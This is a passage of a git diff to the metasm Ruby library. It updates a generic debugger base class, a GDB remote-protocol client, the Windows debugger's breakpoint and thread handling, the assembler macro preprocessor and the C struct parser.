load_plugin(plugin_filename) - if not File.exist?(plugin_filename) and defined? Metasmdir - # try autocomplete - pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename) - if File.exist?(pf) - plugin_filename = pf - elsif File.exist?(pf + '.rb') - plugin_filename = pf + '.rb' - end - end - if not File.exist?(plugin_filename) and File.exist?(plugin_filename + '.rb') - plugin_filename += '.rb' - end - - instance_eval File.read(plugin_filename) - end - - # return the list of memory mappings of the current process - # array of [start, len, perms, infos] - def mappings - [[0, @memory.length]] - end - - # return a list of Process::Modules (with a #path, #addr) for the current process - def modules - [] - end - - # list debugged pids - def list_debug_pids - @pid_stuff.keys | [@pid].compact - end - - # return a list of OS::Process listing all alive processes (incl not debugged) - # default version only includes current debugged pids - def list_processes - list_debug_pids.map { |p| OS::Process.new(p) } - end - - # check if pid is valid - def check_pid(pid) - list_processes.find { |p| p.pid == pid } - end - - # list debugged tids - def list_debug_tids - @tid_stuff.keys | [@tid].compact - end - - # list of thread ids existing in the current process (incl not debugged) - # default version only lists debugged tids - alias list_threads list_debug_tids - - # check if tid is valid for the current process - def check_tid(tid) - list_threads.include?(tid) - end - - # see EData#pattern_scan - # scans only mapped areas of @memory, using os_process.mappings - def pattern_scan(pat, start=0, len=@memory.length-start) - ret = [] - mappings.each { |a, l, *o_| - a = start if a < start - l = start+len-a if a+l > start+len - next if l <= 0 - EncodedData.new(@memory[a, l]).pattern_scan(pat) { |o| - o += a - ret << o if not block_given? or yield(o) - } - } - ret - end -end end diff --git a/lib/metasm/metasm/os/remote.rb b/lib/metasm/metasm/os/remote.rb index dd50faa66f..2d733f6fe5 100644 --- a/lib/metasm/metasm/os/remote.rb +++ b/lib/metasm/metasm/os/remote.rb @@ -5,6 +5,7 @@ require 'metasm/os/main' +require 'metasm/debug' require 'socket' module Metasm @@ -23,9 +24,11 @@ class GdbClient def gdb_send(cmd, buf='') buf = cmd + buf buf = '$' << buf << '#' << gdb_csum(buf) + log "gdb_send #{buf.inspect}" if $DEBUG 5.times { @io.write buf + out = '' loop do break if not IO.select([@io], nil, nil, 0.2) raise Errno::EPIPE if not ack = @io.read(1) @@ -33,12 +36,15 @@ class GdbClient when '+' return true when '-' - puts "gdb_send: ack neg" if $DEBUG + log "gdb_send: ack neg" if $DEBUG break when nil return + else + out << ack end end + log "no ack, got #{out.inspect}" if out != '' } log "send error #{cmd.inspect} (no ack)" @@ -62,8 +68,18 @@ class GdbClient buf = nil while @recv_ctx - return unless IO.select([@io], nil, nil, timeout) - raise Errno::EPIPE if not c = @io.read(1) + if !@recv_ctx[:rbuf] + return unless IO.select([@io], nil, nil, timeout) + if @io.kind_of?(UDPSocket) + raise Errno::EPIPE if not @recv_ctx[:rbuf] = @io.recvfrom(65536)[0] + else + raise Errno::EPIPE if not c = @io.read(1) + end + end + if @recv_ctx[:rbuf] + c = @recv_ctx[:rbuf].slice!(0, 1) + @recv_ctx.delete :rbuf if @recv_ctx[:rbuf] == '' + end case @recv_ctx[:state] when :nosync @@ -107,11 +123,11 @@ class GdbClient end outstr << unhex($1) ret = gdb_readresp(timeout, outstr) - outstr.split("\n").each { |e| log 'gdb: ' + e } if first + outstr.split("\n").each { |o| log 'gdb: ' + o } if first return ret end - puts "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG + log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG buf end @@ -232,9 +248,9 @@ class GdbClient case io when IO; @io = io - when /^udp:(.*):(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2) - when /^(?:tcp:)?(.*):(.*?)$/i; @io = TCPSocket.open($1, $2) # XXX matches C:\fail - # TODO pipe, serial port, etc ; also check ipv6 + when /^ser:(.*)/i; @io = File.open($1, 'rb+') + when /^udp:\[?(.*)\]?:(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2) + when /^(?:tcp:)?\[?(..+)\]?:(.*?)$/i; @io = TCPSocket.open($1, $2) else raise "unknown target #{io.inspect}" end @@ -242,6 +258,10 @@ class GdbClient end def gdb_setup + pnd = '' + pnd << @io.read(1) while IO.select([@io], nil, nil, 0.2) + log "startpending: #{pnd.inspect}" if pnd != '' + gdb_msg('q', 'Supported') #gdb_msg('Hc', '-1') #gdb_msg('qC') @@ -295,17 +315,22 @@ class GdbClient attr_accessor :logger, :quiet def log(s) + puts s if $DEBUG and logger return if quiet - @logger ||= $stdout - @logger.puts s + logger ? logger.log(s) : puts(s) end + attr_accessor :ptrsz + # setup the various function used to pack ints & the reg list # according to a target CPU def setup_arch(cpu) + @ptrsz = cpu.size + case cpu.shortname - when 'ia32' + when /^ia32/ + @ptrsz = 32 @gdbregs = GDBREGS_IA32 @regmsgsize = 4 * @gdbregs.length when 'x64' @@ -314,6 +339,9 @@ class GdbClient when 'arm' @gdbregs = cpu.dbg_register_list @regmsgsize = 4 * @gdbregs.length + when 'mips' + @gdbregs = cpu.dbg_register_list + @regmsgsize = cpu.size/8 * @gdbregs.length else # we can still use readmem/kill and other generic commands # XXX serverside setregs may fail if we give an incorrect regbuf size @@ -324,7 +352,7 @@ class GdbClient # yay life ! # do as if cpu is littleendian, fixup at the end - case cpu.size + case @ptrsz when 16 @pack_netint = lambda { |i| i.pack('n*') } @unpack_netint = lambda { |s| s.unpack('n*') } @@ -345,7 +373,7 @@ class GdbClient @pack_netint, @pack_int = @pack_int, @pack_netint @unpack_netint, @unpack_int = @unpack_int, @unpack_netint end - else raise "GdbServer: unsupported cpu size #{cpu.size}" + else raise "GdbServer: unsupported cpu size #{@ptrsz}" end # if target cpu is bigendian, use netint everywhere @@ -362,7 +390,7 @@ class GdbRemoteString < VirtualString def initialize(gdb, addr_start=0, length=nil) @gdb = gdb - length ||= 1 << (@gdb.cpu.size rescue 32) + length ||= 1 << (@gdb.ptrsz || 32) @pagelength = 512 super(addr_start, length) end @@ -389,17 +417,55 @@ end # this class implements a high-level API using the gdb-server network debugging protocol class GdbRemoteDebugger < Debugger - attr_accessor :gdb, :check_target_timeout + attr_accessor :gdb, :check_target_timeout, :reg_val_cache def initialize(url, cpu='Ia32') + super() + @tid_stuff_list << :reg_val_cache << :regs_dirty @gdb = GdbClient.new(url, cpu) @gdb.logger = self - @cpu = @gdb.cpu - @memory = GdbRemoteString.new(@gdb) - @reg_val_cache = {} - @regs_dirty = false # when checking target, if no message seen since this much seconds, send a 'status' query @check_target_timeout = 1 + set_context(28, 28) + end + + def check_pid(pid) + # return nil if pid == nil + pid + end + def check_tid(tid) + tid + end + + def list_processes + [@pid].compact + end + def list_threads + [@tid].compact + end + + def mappings + [] + end + + def modules + [] + end + + + def initialize_newtid super() + @reg_val_cache = {} + @regs_dirty = false + end + + attr_accessor :realmode + def initialize_cpu + @cpu = @gdb.cpu + @realmode = true if @cpu and @cpu.shortname =~ /^ia32_16/ + end + + def initialize_memory + @memory = GdbRemoteString.new(@gdb) end def invalidate @@ -409,12 +475,24 @@ class GdbRemoteDebugger < Debugger end def get_reg_value(r) + r = r.to_sym return @reg_val_cache[r] || 0 if @state != :stopped sync_regs @reg_val_cache = @gdb.read_regs || {} if @reg_val_cache.empty? + if realmode + case r + when :eip; seg = :cs + when :esp; seg = :ss + else seg = :ds + end + # XXX seg override + return @reg_val_cache[seg].to_i*16 + @reg_val_cache[r].to_i + end @reg_val_cache[r] || 0 end def set_reg_value(r, v) + r = r.to_sym + # XXX realmode @reg_val_cache[r] = v @regs_dirty = true end @@ -426,37 +504,49 @@ class GdbRemoteDebugger < Debugger def do_check_target return if @state == :dead + + # keep-alive on the connexion t = Time.now @last_check_target ||= t if @state == :running and t - @last_check_target > @check_target_timeout @gdb.io.write '$?#' << @gdb.gdb_csum('?') @last_check_target = t end + return unless i = @gdb.check_target(0.01) - invalidate if i[:state] == :stopped and @state != :stopped - @state, @info = i[:state], i[:info] - @info = nil if @info =~ /TRAP/ + update_state(i) + true end def do_wait_target return unless i = @gdb.check_target(nil) - invalidate if i[:state] == :stopped and @state != :stopped - @state, @info = i[:state], i[:info] - @info = nil if @info =~ /TRAP/ + update_state(i) + end + + def update_state(i) + @info = (i[:info] if i[:info] !~ /TRAP/) + if i[:state] == :stopped and @state != :stopped + invalidate + @state = i[:state] + case @run_method + when :singlestep + evt_singlestep + else + evt_bpx # XXX evt_hwbp? + end + else + @state = i[:state] + end end def do_continue(*a) - return if @state != :stopped @state = :running - @info = 'continue' @gdb.continue @last_check_target = Time.now end def do_singlestep(*a) - return if @state != :stopped @state = :running - @info = 'singlestep' @gdb.singlestep @last_check_target = Time.now end @@ -467,53 +557,52 @@ class GdbRemoteDebugger < Debugger def kill(sig=nil) # TODO signal nr - @gdb.kill @state = :dead - @info = 'killed' + @gdb.kill end def detach - super() # remove breakpoints & stuff - @gdb.detach - @state = :dead - @info = 'detached' + del_all_breakpoints + del_pid end - - # set to true to use the gdb msg to handle bpx, false to set 0xcc ourself + + # set to true to use the gdb msg to handle bpx, false to set 0xcc manually ourself attr_accessor :gdb_bpx - def enable_bp(addr) - return if not b = @breakpoint[addr] - b.state = :active + def do_enable_bp(b) case b.type + when :bpm + do_enable_bpm(b) when :bpx if gdb_bpx - @gdb.set_hwbp('s', addr, 1) + @gdb.set_hwbp('s', b.address, 1) else - @cpu.dbg_enable_bp(self, addr, b) + @cpu.dbg_enable_bp(self, b) end - when :hw - @gdb.set_hwbp(b.mtype, addr, b.mlen) + when :hwbp + @gdb.set_hwbp(b.internal[:type], b.address, b.internal[:len]) end end - def disable_bp(addr) - return if not b = @breakpoint[addr] - b.state = :inactive + def do_disable_bp(b) case b.type + when :bpm + do_disable_bpm(b) when :bpx if gdb_bpx - @gdb.unset_hwbp('s', addr, 1) + @gdb.unset_hwbp('s', b.address, 1) else - @cpu.dbg_disable_bp(self, addr, b) + @cpu.dbg_disable_bp(self, b) end - when :hw - @gdb.unset_hwbp(b.mtype, addr, b.mlen) + when :hwbp + @gdb.unset_hwbp(b.internal[:type], b.address, b.internal[:len]) end end def check_pre_run(*a) - sync_regs - super(*a) + if ret = super(*a) + sync_regs + ret + end end def loadallsyms diff --git a/lib/metasm/metasm/os/windows.rb b/lib/metasm/metasm/os/windows.rb index 74d20f717b..4f63c8a1af 100644 --- a/lib/metasm/metasm/os/windows.rb +++ b/lib/metasm/metasm/os/windows.rb @@ -4,6 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory require 'metasm/os/main' +require 'metasm/debug' require 'metasm/dynldr' module Metasm @@ -125,6 +126,12 @@ typedef void *HMODULE; #define DBG_CONTROL_C ((DWORD )0x40010005L) #define DBG_CONTROL_BREAK ((DWORD )0x40010008L) #define DBG_COMMAND_EXCEPTION ((DWORD )0x40010009L) +#define STATUS_WX86_CONTINUE ((DWORD )0x4000001DL) +#define STATUS_WX86_SINGLE_STEP ((DWORD )0x4000001EL) +#define STATUS_WX86_BREAKPOINT ((DWORD )0x4000001FL) +#define STATUS_WX86_EXCEPTION_CONTINUE ((DWORD )0x40000020L) +#define STATUS_WX86_EXCEPTION_LASTCHANCE ((DWORD )0x40000021L) +#define STATUS_WX86_EXCEPTION_CHAIN ((DWORD )0x40000022L) #define STATUS_GUARD_PAGE_VIOLATION ((DWORD )0x80000001L) #define STATUS_DATATYPE_MISALIGNMENT ((DWORD )0x80000002L) #define STATUS_BREAKPOINT ((DWORD )0x80000003L) @@ -416,7 +423,7 @@ typedef struct _CONTEXT_AMD64 { XMMREG Vector[26]; DWORD64 VectorControl; - + DWORD64 DebugControl; DWORD64 LastBranchToRip; DWORD64 LastBranchFromRip; @@ -490,6 +497,10 @@ typedef struct _PROCESS_INFORMATION { } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION; +WINAPI +DWORD +GetVersion(VOID); + WINBASEAPI HANDLE WINAPI @@ -1033,7 +1044,7 @@ OpenThreadToken ( __out HANDLE *TokenHandle); EOS SE_DEBUG_NAME = 'SeDebugPrivilege' - + new_api_c < 0 @@ -1273,7 +1285,7 @@ class WinOS < OS WinAPI::PAGE_EXECUTE_READWRITE => 'rwx', WinAPI::PAGE_EXECUTE_WRITECOPY => 'rwx' }[info[:protect] & 0xff] - prot << 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0 + prot = prot.sub('r', '-') + 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0 prot << 'p' if info[:type] & WinAPI::MEM_PRIVATE > 0 if h = hcache[info.baseaddress] @@ -1301,7 +1313,7 @@ class WinOS < OS @peb_base ||= if WinAPI.respond_to?(:ntqueryinformationprocess) pinfo = WinAPI.alloc_c_struct('PROCESS_BASIC_INFORMATION') - if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.length, 0) == 0 + if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.sizeof, 0) == 0 pinfo.pebbaseaddress end else @@ -1336,7 +1348,7 @@ class WinOS < OS @teb_base ||= if WinAPI.respond_to?(:ntqueryinformationthread) tinfo = WinAPI.alloc_c_struct('THREAD_BASIC_INFORMATION') - if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.length, 0) == 0 + if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.sizeof, 0) == 0 tinfo.tebbaseaddress end else @@ -1373,10 +1385,12 @@ class WinOS < OS @context ||= Context.new(self, :all) if block_given? suspend - @context.update - ret = yield @context - resume - ret + begin + @context.update + yield @context + ensure + resume + end else @context end @@ -1386,23 +1400,24 @@ class WinOS < OS class Context def initialize(thread, kind=:all) @handle = thread.handle - tg = thread.process ? thread.process.addrsz : 32 - case WinAPI.host_cpu.shortname - when 'ia32', 'x64'; tg = ((tg == 32) ? 'ia32' : 'x64') + tg = (thread.process ? thread.process.addrsz : 32) + hcpu = WinAPI.host_cpu.shortname + case hcpu + when 'ia32', 'x64' else raise "unsupported architecture #{tg}" end @getcontext = :getthreadcontext @setcontext = :setthreadcontext case tg - when 'ia32' + when 32 @context = WinAPI.alloc_c_struct('_CONTEXT_I386') @context.contextflags = WinAPI::CONTEXT_I386_ALL - if WinAPI.host_cpu.shortname == 'x64' + if hcpu == 'x64' @getcontext = :wow64getthreadcontext @setcontext = :wow64setthreadcontext end - when 'x64' + when 64 @context = WinAPI.alloc_c_struct('_CONTEXT_AMD64') @context.contextflags = WinAPI::CONTEXT_AMD64_ALL end @@ -1418,15 +1433,17 @@ class WinOS < OS case k.to_s when /^[cdefgs]s$/i @context["seg#{k}"] - when /^st(\d*)/i + when /^st(\d?)$/i v = @context['st'][$1.to_i] - buf = v.str[v.str_off, 10] + buf = v.str[v.stroff, 10] # TODO check this, 'D' is 8byte wide buf.unpack('D')[0] - when /^xmm(\d+)/i + # TODO when /^ymm(\d+)$/i + when /^xmm(\d+)$/i v = @context['xmm'][$1.to_i] (v.hi << 64) | v.lo - when /^mmx?(\d+)/i + when /^mmx?(\d)$/i + # XXX probably in st(0/7) @context['xmm'][$1.to_i].lo else @context[k] @@ -1437,15 +1454,17 @@ class WinOS < OS case k.to_s when /^[cdefgs]s$/i @context["seg#{k}"] = v - when /^st(\d*)/i + when /^st(\d?)$/i # TODO check this, 'D' is 8byte wide buf = [v, 0, 0].pack('DCC') @context['st'][$1.to_i][0, 10] = buf - when /^xmm(\d+)/i + # TODO when /^ymm(\d+)$/i + when /^xmm(\d+)$/i kk = @context['xmm'][$1.to_i] kk.lo = v & ((1<<64)-1) kk.hi = (v>>64) & ((1<<64)-1) - when /^mmx?(\d+)/i + when /^mmx?(\d)$/i + # XXX st(7-$1) ? @context['xmm'][$1.to_i].lo = v else @context[k] = v @@ -1455,10 +1474,10 @@ class WinOS < OS def method_missing(m, *a) if m.to_s[-1] == ?= - super(m, *a) if a.length != 1 + return super(m, *a) if a.length != 1 send '[]=', m.to_s[0...-1], a[0] else - super(m, *a) if a.length != 0 + return super(m, *a) if a.length != 0 send '[]', m end end @@ -1528,7 +1547,7 @@ class << self loop do list << te.th32threadid if not pid or te.th32ownerprocessid == pid break if WinAPI.thread32next(h, te) == 0 - end + end WinAPI.closehandle(h) list end @@ -1649,6 +1668,11 @@ class << self end end + # returns the [major, minor] version of the windows os + def version + v = WinAPI.getversion + [v & 0xff, (v>>8) & 0xff] + end end # class << self end @@ -1699,6 +1723,8 @@ class WinDebugger < Debugger attr_accessor :os_process, :os_thread, :auto_fix_fs_bug, # is current exception handled? (arg to pass to continuedbgevt) + # if it has the special value :suspended, it means that the thread + # is to be restarted through resume and not continuedbgevt :continuecode attr_accessor :callback_unloadlibrary, :callback_debugstring, :callback_ripevent @@ -1717,10 +1743,10 @@ class WinDebugger < Debugger attach(npid) rescue ArgumentError create_process(pidpath) - end + end check_target until pid - end + end def shortname; 'windbg'; end @@ -1732,7 +1758,7 @@ class WinDebugger < Debugger break if pid } raise "attach failed" if not pid - end + end def create_process(target) startupinfo = WinAPI.alloc_c_struct('STARTUPINFOA', :cb => :size) @@ -1747,14 +1773,15 @@ class WinDebugger < Debugger @os_process = WinOS::Process.new(processinfo.dwprocessid, processinfo.hprocess) @os_thread = WinOS::Thread.new(processinfo.dwthreadid, processinfo.hthread, @os_process) initialize_osprocess - end + check_target + end # called whenever we receive a handle to a new process being debugged, after initialisation of @os_process def initialize_osprocess initialize_cpu initialize_memory initialize_disassembler - end + end def initialize_newpid raise "non-existing pid #@pid" if pid and not WinOS.check_process(@pid) @@ -1816,7 +1843,7 @@ class WinDebugger < Debugger return Hash.new(0) if not os_thread @ctx = os_thread.context @ctx.update - end + end @ctx end @@ -1830,17 +1857,46 @@ class WinDebugger < Debugger end def set_reg_value(r, v) - ctx[r] = v + if @state == :running + suspend + ctx[r] = v + resume + else + ctx[r] = v + end end def do_continue(*a) @cpu.dbg_disable_singlestep(self) - WinAPI.continuedebugevent(@pid, @tid, @continuecode) + if @continuecode == :suspended + resume + else + @state = :running + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + end end def do_singlestep(*a) @cpu.dbg_enable_singlestep(self) - WinAPI.continuedebugevent(@pid, @tid, @continuecode) + if @continuecode == :suspended + resume + else + @state = :running + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + end + end + + def do_enable_bpm(bp) + @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") + WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof) + # TODO save original page perms, check bpm type (:w -> vprotect(PAGE_READONLY)), handle multiple bpm on same page + WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] | WinAPI::PAGE_GUARD, @bpm_info) + end + + def do_disable_bpm(bp) + @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") + WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof) + WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] & ~WinAPI::PAGE_GUARD, @bpm_info) end def update_dbgev(ev) @@ -1866,14 +1922,14 @@ class WinDebugger < Debugger # DWORD NumberParameters; # ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; case str.exceptioncode - when WinAPI::STATUS_ACCESS_VIOLATION + when WinAPI::STATUS_ACCESS_VIOLATION, WinAPI::STATUS_GUARD_PAGE_VIOLATION if @auto_fix_fs_bug and ctx.fs != 0x3b # fix bug in xpsp1 where fs would get a random value in a debugee log "wdbg: #{pid}:#{tid} fix fs bug" if $DEBUG ctx.fs = 0x3b resume_badbreak return - end + end mode = case str.exceptioninformation[0] when 0; :r when 1; :w @@ -1882,18 +1938,18 @@ class WinDebugger < Debugger addr = str.exceptioninformation[1] evt_exception(:type => 'access violation', :st => str, :firstchance => stf, :fault_addr => addr, :fault_access => mode) - when WinAPI::STATUS_BREAKPOINT + when WinAPI::STATUS_BREAKPOINT, WinAPI::STATUS_WX86_BREAKPOINT # we must ack ntdll interrupts on process start # but we should not mask process-generated exceptions by default.. evt_bpx - when WinAPI::STATUS_SINGLE_STEP + when WinAPI::STATUS_SINGLE_STEP, WinAPI::STATUS_WX86_SINGLE_STEP evt_hwbp_singlestep else @status_name ||= WinAPI.cp.lexer.definition.keys.grep(/^STATUS_/). sort.inject({}) { |h, c| h.update WinAPI.const_get(c) => c } type = @status_name[str.exceptioncode] || str.exceptioncode.to_s(16) evt_exception(:type => type, :st => str, :firstchance => stf) - end + end when WinAPI::CREATE_THREAD_DEBUG_EVENT st = ev.createthread @@ -1910,7 +1966,7 @@ class WinDebugger < Debugger initialize_osprocess else @os_thread ||= WinOS::Thread.new(@tid, st.hthread, os_process) - end + end @os_thread.teb_base = st.lpthreadlocalbase if st.lpthreadlocalbase.to_i != 0 hfile = st.hfile evt_newprocess(:st => st) @@ -1943,7 +1999,7 @@ class WinDebugger < Debugger when WinAPI::RIP_EVENT st = ev.ripinfo evt_ripevent(:st => st) - end + end end def evt_debugstring(info={}) @@ -1988,39 +2044,68 @@ class WinDebugger < Debugger @dbg_eventstruct ||= WinAPI.alloc_c_struct('_DEBUG_EVENT') if WinAPI.waitfordebugevent(@dbg_eventstruct, timeout) != 0 update_dbgev(@dbg_eventstruct) + true + end end + + def del_tid + # tell Windows to release the THREAD object + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + super() + end + + # do nothing, windows will send us a EXIT_PROCESS event + def del_tid_notid + nil while do_waitfordebug(10) and !@tid + end + + def del_pid + # tell Windows to release the PROCESS object + WinAPI.debugactiveprocessstop(@pid) if WinAPI.respond_to?(:debugactiveprocessstop) + super() end def break return if @state != :running - if WinAPI.respond_to? :debugbreakprocess - WinAPI.debugbreakprocess(os_process.handle) - else - suspend + # debugbreak() will create a new thread to 0xcc, but wont touch existing threads + suspend end - end def suspend os_thread.suspend - @state = :stopped + invalidate + @state = :stopped @info = 'thread suspended' - end + @continuecode = :suspended + end + + def resume + @state = :running + @info = nil + os_thread.resume + end def detach del_all_breakpoints - if WinAPI.respond_to? :debugactiveprocessstop - WinAPI.debugactiveprocessstop(@pid) - else + if not WinAPI.respond_to? :debugactiveprocessstop raise 'detach not supported' end + # handle pending bp events + # TODO check_target needs the Breakpoint objects... + #pid = @pid ; 50.times { check_target } ; self.pid = pid + + # if we detach after a dbgevt and before calling continuedbgevent, the thread + # may receive unhandled exceptions (eg BPX) and crash the process right after detach + each_tid { do_continue if @state == :stopped } del_pid end def kill(exitcode=0) os_process.terminate(exitcode) - end + end def pass_current_exception(doit = true) + return if @continuecode == :suspended @continuecode = (doit ? WinAPI::DBG_EXCEPTION_NOT_HANDLED : WinAPI::DBG_CONTINUE) end end diff --git a/lib/metasm/metasm/os/windows_exports.rb b/lib/metasm/metasm/os/windows_exports.rb index bcfefb37c7..185fc2ffc2 100644 --- a/lib/metasm/metasm/os/windows_exports.rb +++ b/lib/metasm/metasm/os/windows_exports.rb @@ -11,7 +11,7 @@ class WindowsExports EXPORT = {} # see samples/pe_listexports for the generator of this data data = < Macro attr_accessor :macro + attr_accessor :may_apreprocess def initialize(text='', program=nil) @program = program + @may_apreprocess = false @macro = {} super(text) end @@ -184,13 +191,21 @@ class AsmPreprocessor < Preprocessor t end - # reads a token, handles macros/comments/integers/etc - # argument is for internal use - def readtok(rec = false) + def feed!(*a) + super(*a) + if not @may_apreprocess and (@text =~ / (macro|equ) / or not @macro.empty?) + @may_apreprocess = true + end + self + end + + # reads a token, handles macros/comments/etc + def readtok tok = super() + return tok if not tok or tok.alreadyapp # handle ; comments - if tok and tok.type == :punct and tok.raw == ';' + if tok.type == :punct and tok.raw[0] == ?; tok.type = :eol begin tok = tok.dup @@ -203,30 +218,13 @@ class AsmPreprocessor < Preprocessor end end - # aggregate space/eol - if tok and (tok.type == :space or tok.type == :eol) - if ntok = readtok(true) and ntok.type == :space - tok = tok.dup - tok.raw << ntok.raw - elsif ntok and ntok.type == :eol - tok = tok.dup - tok.raw << ntok.raw - tok.type = :eol - else - unreadtok ntok - end - end - - # handle macros - # the rec parameter is used to avoid reading the whole text at once when reading ahead to check 'macro' keyword - if not rec and tok and tok.type == :string + if @may_apreprocess and tok.type == :string if @macro[tok.raw] @macro[tok.raw].apply(tok, self, @program).reverse_each { |t| unreadtok t } tok = readtok - else - if ntok = readtok(true) and ntok.type == :space and nntok = readtok(true) and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ') + if ntok = super() and ntok.type == :space and nntok = super() and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ') puts "W: asm: redefinition of macro #{tok.raw} at #{tok.backtrace_str}, previous definition at #{@macro[tok.raw].name.backtrace_str}" if @macro[tok.raw] m = Macro.new tok # XXX this allows nested macro definition.. @@ -252,6 +250,7 @@ class AsmPreprocessor < Preprocessor end end + tok.alreadyapp = true if tok tok end end @@ -314,6 +313,7 @@ class ExeFormat lname = @locallabels_bkw[tok.raw] = @locallabels_fwd.delete(tok.raw) || new_label('local_'+tok.raw) else lname = tok.raw + raise tok, "invalid label name: #{lname.inspect} is reserved" if @cpu.check_reserved_name(lname) raise tok, "label redefinition" if new_label(lname) != lname end l = Label.new(lname) @@ -780,7 +780,7 @@ class Expression pp = Preprocessor.new(str) e = parse(pp, &b) - + # update arg len = pp.pos pp.queue.each { |t| len -= t.raw.length } @@ -821,6 +821,8 @@ class IndExpression < Expression break when ':' # symbols, eg ':eax' n = lexer.readtok + nil while tok = lexer.readtok and tok.type == :space + lexer.unreadtok tok return n.raw.to_sym else lexer.unreadtok tok diff --git a/lib/metasm/metasm/parse_c.rb b/lib/metasm/metasm/parse_c.rb index 1f7f89591e..3ca4793336 100644 --- a/lib/metasm/metasm/parse_c.rb +++ b/lib/metasm/metasm/parse_c.rb @@ -214,20 +214,43 @@ module C attr_accessor :fldoffset, :fldbitoffset, :fldlist - def align(parser) @members.map { |m| m.type.align(parser) }.max end + def align(parser) @members.to_a.map { |m| m.type.align(parser) }.max end + # there is only one instance of a given named struct per parser + # so we just compare struct names here + # for comparison between parsers, see #compare_deep def ==(o) - # if we dont compare names, infinite recursion on mylinkedlist == otherlinkedlist o.object_id == self.object_id or - (o.class == self.class and o.name == self.name and - o.members.to_a.map { |m| m.type } == self.members.to_a.map { |m| m.type } and - o.members.to_a.map { |m| m.name } == self.members.to_a.map { |m| m.name } and - o.attributes == self.attributes) + (o.class == self.class and o.name == self.name and ((o.name and true) or compare_deep(o))) + end + + # compare to another structure, comparing members recursively (names and type) + # returns true if the self is same as o + def compare_deep(o, seen = []) + return true if o.object_id == self.object_id + return if o.class != self.class or o.name != self.name or o.attributes != self.attributes + o.members.to_a.zip(self.members.to_a).each { |om, sm| + return if om.name != sm.name + return if om.type != sm.type + if om.type.pointer? + ot = om.type + st = sm.type + 500.times { # limit for selfpointers (shouldnt happen) + break if not ot.pointer? + ot = ot.pointed.untypedef + st = st.pointed.untypedef + } + if ot.kind_of?(C::Union) and ot.name and not seen.include?(ot) + return if not st.compare_deep(ot, seen+[ot]) + end + end + } + true end def findmember(name, igncase=false) - update_member_cache if not fldlist - return @fldlist[name] if @fldlist[name] + raise 'undefined structure' if not members + return @fldlist[name] if fldlist and @fldlist[name] name = name.downcase if igncase if m = @members.find { |m_| (n = m_.name) and (igncase ? n.downcase : n) == name } @@ -244,23 +267,25 @@ module C end def offsetof(parser, name) - if name.kind_of? Variable + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist + return 0 if @fldlist[name] + + if name.kind_of?(Variable) return 0 if @members.include? name raise ParseError, 'unknown union member' end - update_member_cache if not fldlist - return 0 if @fldlist[name] - raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) - @members.find { |m| - m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) - }.type.untypedef.offsetof(parser, name) - end + @members.find { |m| + m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) + }.type.untypedef.offsetof(parser, name) + end def bitoffsetof(parser, name) - update_member_cache if not fldlist + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return if @fldlist[name] or @members.include?(name) raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) @@ -271,8 +296,8 @@ module C end def parse_members(parser, scope) + @fldlist = nil if fldlist # invalidate fld offset cache @members = [] - @fldlist = {} # parse struct/union members in definition loop do raise parser if not tok = parser.skipspaces @@ -284,8 +309,7 @@ module C member = basetype.dup member.parse_declarator(parser, scope) member.type.length ||= 0 if member.type.kind_of?(Array) # struct { char blarg[]; }; - raise member.backtrace, 'member redefinition' if member.name and @fldlist[member.name] - @fldlist[member.name] = member if member.name + raise member.backtrace, 'member redefinition' if member.name and @members.find { |m| m.name == member.name } @members << member raise tok || parser if not tok = parser.skipspaces or tok.type != :punct @@ -315,7 +339,7 @@ module C # updates the @fldoffset / @fldbitoffset hash storing the offset of members def update_member_cache(parser) @fldlist = {} - @members.each { |m| + @members.to_a.each { |m| @fldlist[m.name] = m if m.name } end @@ -347,7 +371,7 @@ module C if nt = parser.skipspaces and nt.type == :punct and nt.raw == '.' and nnt = parser.skipspaces and nnt.type == :string and findmember(nnt.raw) - raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@fldlist[nnt.raw]) # TODO + raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@members.find { |m| m.name == nnt.raw }) # TODO if not root value[idx] ||= [] # AryRecorder may change [] to AryRec.new, can't do v = v[i] ||= [] value = value[idx] @@ -366,6 +390,22 @@ module C end idx + 1 end + + # resolve structptr + offset into 'str.membername' + # handles 'var.substruct1.array[12].foo' + # updates str + # returns the final member type itself + # works for Struct/Union/Array + def expand_member_offset(c_parser, off, str) 